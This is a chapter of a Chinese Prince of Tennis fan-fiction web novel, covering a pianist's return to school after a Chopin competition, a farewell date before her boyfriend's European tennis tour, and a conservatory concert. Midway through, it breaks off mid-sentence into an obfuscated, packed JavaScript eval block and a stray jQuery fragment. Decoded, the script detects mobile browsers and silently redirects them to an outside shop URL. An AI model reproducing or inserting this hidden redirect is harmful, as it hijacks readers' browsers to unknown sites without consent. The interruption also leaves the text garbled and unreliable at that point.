文趣网 > 都市小说 > 【网王】我们曾彼此照亮 > 138.正常生活
    京都回来以后,岑韵重新回到冰帝上课。

    她的生活只安静了不到一天。

    第二天下午,她刚推开交响乐团排练室的门,里面不知道是谁先拍了两下手。紧接着,弦乐声部像是得到了某种信号,掌声一下从前排蔓延到后面,连正在整理谱子的管乐部也跟着拍起来。

    岑韵停在门口,手还搭在门把上:“你们干什么?”

    有人从后面推出来一块临时买的蛋糕,上面歪歪扭扭插着两块巧克力牌,一块写着Second Prize,另一块大概因为地方实在不够,只勉强挤下了Best Mazurka,最后那个a已经半陷进奶油里。

    岑韵盯着看了好几秒,第一句话却是:“这个字是谁写的?”

    “这不是重点吧?”

    “可是Mazurka最后那个a已经掉到奶油里了。”

    排练室里立刻笑成一片。

    指挥从指挥台下来,把她往里面推了一步:“先进来再挑剔。恭喜。”

    岑韵这才笑起来。

    比赛结果早就在学校里传开了。冰帝本来就有非常活跃的音乐社团,她过去一年又不止一次作为钢琴独奏者和学校交响乐团合作,因此“岑韵去京都参加肖邦比赛,在专业组拿了第二名和最佳马祖卡”并不是一个只会出现在教师办公室里的消息。

    尤其是这间排练室里的人。

    他们比普通同学更清楚那个第二名意味着什么。

    去年,肖邦第二钢琴协奏曲还属于他们。现在排练室里的弦乐、木管和铜管,有不少人当时就坐在相同的位置上,陪她把那首作品从第一次合乐一路排到正式演出。

    如今同一首协奏曲被岑韵带去了京都,交给一支完全陌生的职业乐团重新演奏,最后又带回来一个专业组第二名。

    于是蛋糕分完以后,大家真正关心的问题很快冒了出来:

    职业乐团到底是什么感觉?

    跟他们差很多吗?

    指挥会不会特别凶?

    到底有多少排练时间?

    岑韵手里还拿着刚刚分到的一小块蛋糕,回答得比他们想象中认真。她没有简单说“他们弹得更好”,而是重新把京都第一次与乐团排练时的感受解释了一遍。

    冰帝的乐团知道她的习惯。去年排肖二时,一个乐句反复磨上几遍,大家便会逐渐记住她在哪里放慢、哪里提前进入,甚至在她真正做出动作以前就已经知道她大概想往哪里走。那是一种大量共同排练以后形成的默契。

    职业乐团却完全不同。

    第一次见面,没有任何人认识她,也没有人知道她下一秒准备怎么处理。可是只要她给出的方向足够清楚,乐团几乎立即就能做出反应。

    “所以其实很奇怪。”岑韵最后总结,“跟你们排的时候,我会觉得大家越来越懂我。跟他们排的时候,我觉得他们根本不需要提前懂我。”

    坐在旁边的大提琴首席想了一会儿:“这听起来有点打击人。”

    岑韵笑起来:“不是那个意思。你们会记得我,他们是在当下听。”

    这一次连指挥也笑了一下。

    等所有人重新坐回位置,岑韵终于把放了将近一个月的大提琴重新从琴盒里拿出来。琴弓第一次落到弦上时,她甚至产生了一点陌生感。

    技术当然没有真的退掉多少,只是过去几周,她的耳朵几乎全部被钢琴、肖邦和比赛占满了。现在重新坐进大提琴声部,四周都是熟悉的呼吸、翻谱声和弓毛落弦时细小的摩擦,她忽然意识到,自己已经很久没有坐在音乐的中间,而不是最前面。

    这种感觉意外地轻松。不需要一个人承担完整的方向,也不需要时时判断乐团是不是在跟随自己。她只需要听着周围的人,在属于自己的位置进入。

    排练结束以后,她收琴时在琴盒里发现了一张不知道是谁塞进去的纸。

    上面只写了一句:

    ——下次拿第一。

    岑韵看了半天,从书包里找出笔,在下面补了一行:

    ——要求太高。

    然后没有扔掉,而是把纸放到了已经空了的谱架上。

    =====

    真田下一站J300的出发时间定在三月上旬。

    京都以后,两个人真正能够留在日本见面的时间其实只剩几天。真田很快重新进入训练,岑韵则恢复上课、乐团和游泳,两边的日程几乎立刻又被填满。

    奇怪的是,新年以后接近两个月没有真正见面的时候,日子反而没有想象中那么难熬。

    他们都有自己的事情。

    真田在神户、香港和东南亚比赛,岑韵把大部分注意力都放在肖邦上。消息照常回,有时间就打电话;按照之前重新约定的方式,两个人也不再用“怕影响对方”作为隐瞒状态的理由。真正忙起来以后,甚至不会每天计算上一次见面究竟是什么时候。

    可京都回来以后,之前被日程压住的想念反而一起冒了出来。

    真正重新碰到对方的手,重新知道他坐在自己旁边是什么感觉以后,两个月忽然变得很长。

    所以这次见面,两个人什么特别的地方都没有安排。他们在东京吃了午饭,沿着海边走了一段,最后随便找了一家咖啡店坐下来。

    真田把接下来几个月的大致赛程告诉她。岑韵原本只知道他春天会重新参加几站青少年赛事,补足法网需要的排名,直到现在,她才真正意识到,这意味着接下来整个春天,他可能有很长一段时间都不会回日本。

    “三月先打一站J300,之后开始转红土。四月会去欧洲,五月的安排也要看前面的结果。”

    岑韵拿着吸管,在杯子里慢慢搅了两圈:“所以以后会经常去欧洲?”

    “至少春天会。”

    “多久回来一次?”

    “不确定。”

    真田没有为了让她高兴给一个自己根本无法保证的数字。报名、成绩和训练安排都会影响下一站,如果比赛走得深,后面的赛历会跟着改变;如果提前结束,也可能临时增加新的比赛。

    岑韵当然知道这些。她低头喝了一口饮料,过了一会儿还是问:“那我们是不是又会很久见不到?”

    “有可能。”

    她抬头看他,表情明显低了一点:“你就不能先说一句不会吗?”

    “这不是现在能确定的事情。”

    “我又不会以后拿这个跟你算账。”

    “那也不能乱说。”

    岑韵看了他两秒。

    她当然知道他完全没错,也正因为完全没错,才更加没有办法。她最后只能靠回椅背:“好吧。”

    真田沉默了一会儿,没有继续向她解释赛历有多复杂,也没有告诉她“几个月很快就过去”这种连他自己都无法判断的话。他看了窗外一会,才说道:“有时间会给你打电话。比赛结束以后,训练不太晚也会。”

    岑韵重新抬头:“视频呢?”

    “可以。”

    她想了一下:“到了新的地方呢?”

    “会拍照片。”

    “什么照片?”

    “看到什么就拍什么。”

    “你上次给我拍的是酒店窗户。”

    真田停了一下:“也拍了街道。”

    “还有好几次机场。”

    “那也是我去过的地方。”

    这个逻辑过于完整。岑韵原本那一点失落终于被冲散了一些,嘴角压了压,还是弯起来:“那你以后不能只给我拍机场、酒店和网球场。”

    “还有什么?”

    “你觉得好看的东西。”

    真田看着她。

    岑韵又补了一句:“或者你觉得我会喜欢的。”

    这一次他没有问更多,只点头:“嗯。”

    “真的会记得?”

    “会。”

    “不会比赛一忙就忘?”

    “不会。”

    真田说得一点都不浪漫。但岑韵知道,他答应的事情通常都会做到。她低头看了一眼两个人之间的桌面,忽然把手摊到他面前。

    真田看了一眼:“干什么?”

    “手。”

    他把手放过去,岑韵立刻握住,手指收紧了一点:“那就这样说定了。”

    她说完以后,表情显然轻松了一些。真田像是也确认了这一点,没有再继续围绕分别说什么,“这只是春天。法网以后安排还会调整。”

    “我知道。”

    岑韵握着他的手,安静了一会儿,忽然又说道:“其实我很期待。”

    “什么?”

    “你以后真的会去很多地方比赛。”

    刚才还因为见不到而不高兴的人,这时候说起另一面,语气却完全是真心的。

    “澳大利亚、法国、西班牙,以后也会去美国。等排名再高一点,会去更多地方,对吧?”

    “嗯。”

    “我觉得很好。”

    真田没有说话。

    岑韵轻轻晃了一下他的手:“我想看你能走多远。加油。”

    想念是真的,舍不得也是真的。可她也真的想看他去更大的比赛,面对更强的对手,最后走到他们现在还看不到的地方。这两种情绪对她来说并不冲突。

    真田低头看了一眼两个人还握在一起的手:“会的。”

    “我知道。”她答得很快。

    安静并没有持续多久。岑韵突然说起另一件事:“那你去欧洲以后,记得帮我看钢琴店。”

    真田抬头:“为什么?”

    “我又没让你买。我只是想看。”

    “……”

    “还有旧乐谱店。”

    真田沉默几秒:“我比赛不是去旅游。”

    “我知道。所以路过的时候。”

    “嗯。”

    “还有好吃的。”

    “你不是让我拍我觉得你会喜欢的?”

    “对啊。”岑韵理所当然,“食物也算。”

    真田彻底没有话说。

    岑韵终于笑得很开心。

    =====

    肖邦比赛结束以后,岑韵自己的生活也很快恢复成原来的样子。没有突然出现大量媒体采访,也没有谁因为一个青年专业组第二名,就把她直接变成另一个生活轨道上的“青年钢琴家”。

    学校课程照常。交响乐团照常。游泳也重新回到了每周固定的训练里。

    第一次正式恢复游泳量时,她的身体甚至比自己预想中更不适应。过去一个月虽然没有完全停止体能训练,但真正下水的次数明显少很多。重新进入泳池让她有

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17867701|209411||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    种脑子已经记得动作、身体却慢了半拍的感觉,肩背第二天也出现了很久没有过的酸。

    教练没有让她立刻恢复原来的训练量,只一点点往上加。

    岑韵也没有着急。

    她已经越来越习惯不同的事情轮流占据生活中心。

    肖邦比赛以前,钢琴最大。比赛结束,大提琴和游泳重新回来。

    只有数学从来没有真正退开。

    三月刚开始没几天,她放学回家,在玄关看见了一个从上海寄来的包裹。

    寄件人是爸爸。

    箱子不大,却意外地沉。

    拆开以后,里面只有一本书和一张非常随意夹进去的纸。那本大学数学教材比她现在手上的一本厚了将近一倍,单看书脊已经很不友好。

    纸上是岑教授龙飞凤舞的字:

    这个你应该能看。自己玩。

    岑韵盯着“自己玩”三个字看了很久,拿起手机直接打电话过去。

    “你对‘玩’这个词的理解是不是有问题?”

    电话另一边很平静:“不喜欢?”

    岑韵已经把书翻到了目录:“我没说不喜欢。但是这本真的很厚。”

    岑教授笑了一声:“那就慢慢看。”

    她继续翻到中间,正好是一整页密密麻麻的公式:“那也不用从基础直接跳到这个吧?”

    “前面你看得懂。”

    “后面呢?”

    “以后再说。”

    岑韵看着那一页,没再反驳。第二天,那本书就正式占据了她书桌的一角。

    =====

    三月初的一个周末,佐伯澪给她发来消息。

    京都以后,两个人已经交换了联系方式。最开始只是偶尔讨论比赛录像和老师,后来话题很快扩展到学校、曲目,以及一些根本没有必要专门发给对方的小事。

    这天下午,佐伯直接发来一张东京艺大附属的学生音乐会的海报。下面只有一个字:

    ——来。

    岑韵看了一会儿。

    ——为什么?

    佐伯回复得很快:

    ——让你看看你错过了什么。

    岑韵盯着屏幕笑起来。

    ——你是在招生吗?

    ——我是在救一个误入普通高中的钢琴学生。

    ——冰帝不是普通高中。

    ——你上次自己说是。

    岑韵没有办法反驳自己说过的话,她最后还是去了。

    学生音乐会安排在东京艺大校内的演奏厅。规模当然不能和真正的大型公开音乐会相比,专业氛围却远远超过普通高中校园演出。节目单里有独奏、室内乐,也有作曲专业学生的新作品。

    佐伯和一名弦乐学生合作演奏了一首室内乐作品。岑韵坐在观众席里听完整场以后,很快明白了佐伯所谓“让你看看你错过了什么”究竟是什么意思。

    这里的音乐不是学校生活旁边额外划出来的一块区域。

    音乐就是学校生活本身。

    走廊里有人讨论和声课,后台有人拿着谱子去找老师,学生之间会非常自然地聊起某位教授的大师班、下一场比赛的报名截止时间,或者谁最近换了指导教师。练习室的门不断开合,楼道里始终有不同乐器的声音传出来。

    这种环境对岑韵当然有吸引力。

    音乐会结束以后,佐伯从后台出来,刚走到她面前就问:“怎么样?”

    岑韵很谨慎:“很好。”

    “只有很好?”

    “那你想听什么?”

    佐伯一点都不客气:“比如‘我现在就想转学’。”

    岑韵笑起来:“没有。”

    佐伯明显失望了一瞬:“你这个人真的很难勾引。”

    “你不要用这个词。”

    “那我是在认真展示学校资源。”

    “这个可以。”

    两个人一起从演奏厅往校外走。

    这是岑韵第一次不是以普通观众,而是以一个“如果真的来这里读书会怎么样”的角度看东京艺大附属。琴房、排练空间、课程氛围,连学生之间说话时默认共享的音乐背景,都和冰帝完全不同。

    佐伯一路都没有停止推销。在这里可以天天听演出,找专业老师方便,临时组室内乐也方便,她们甚至可以一起练琴,弹双钢琴或者四手联弹。

    最后这一条终于让岑韵认真了一点:“这个听起来倒不错。”

    佐伯立刻抓住:“所以你动摇了?”

    “我只是说一起练不错。”

    “也是进步。”

    岑韵笑了一下,没有继续争。

    走到校门附近时,她又回头看了一眼。她当然喜欢这里。这种喜欢完全没有必要否认。东京艺大附属提供了一种非常完整、非常诱人的可能。

    佐伯站在旁边问:“下次还来吗?”

    岑韵这一次没有犹豫:“如果有好节目。”

    “所以还是被勾引到了。”

    “是被音乐会勾引,不是被学校。”

    “差不多。”

    “差很多。”

    两个人一路争到了车站。最后谁也没有说服谁。但当天晚上,佐伯已经把下一场音乐会的时间发给了她。

    岑韵低头看了一眼,没有拒绝。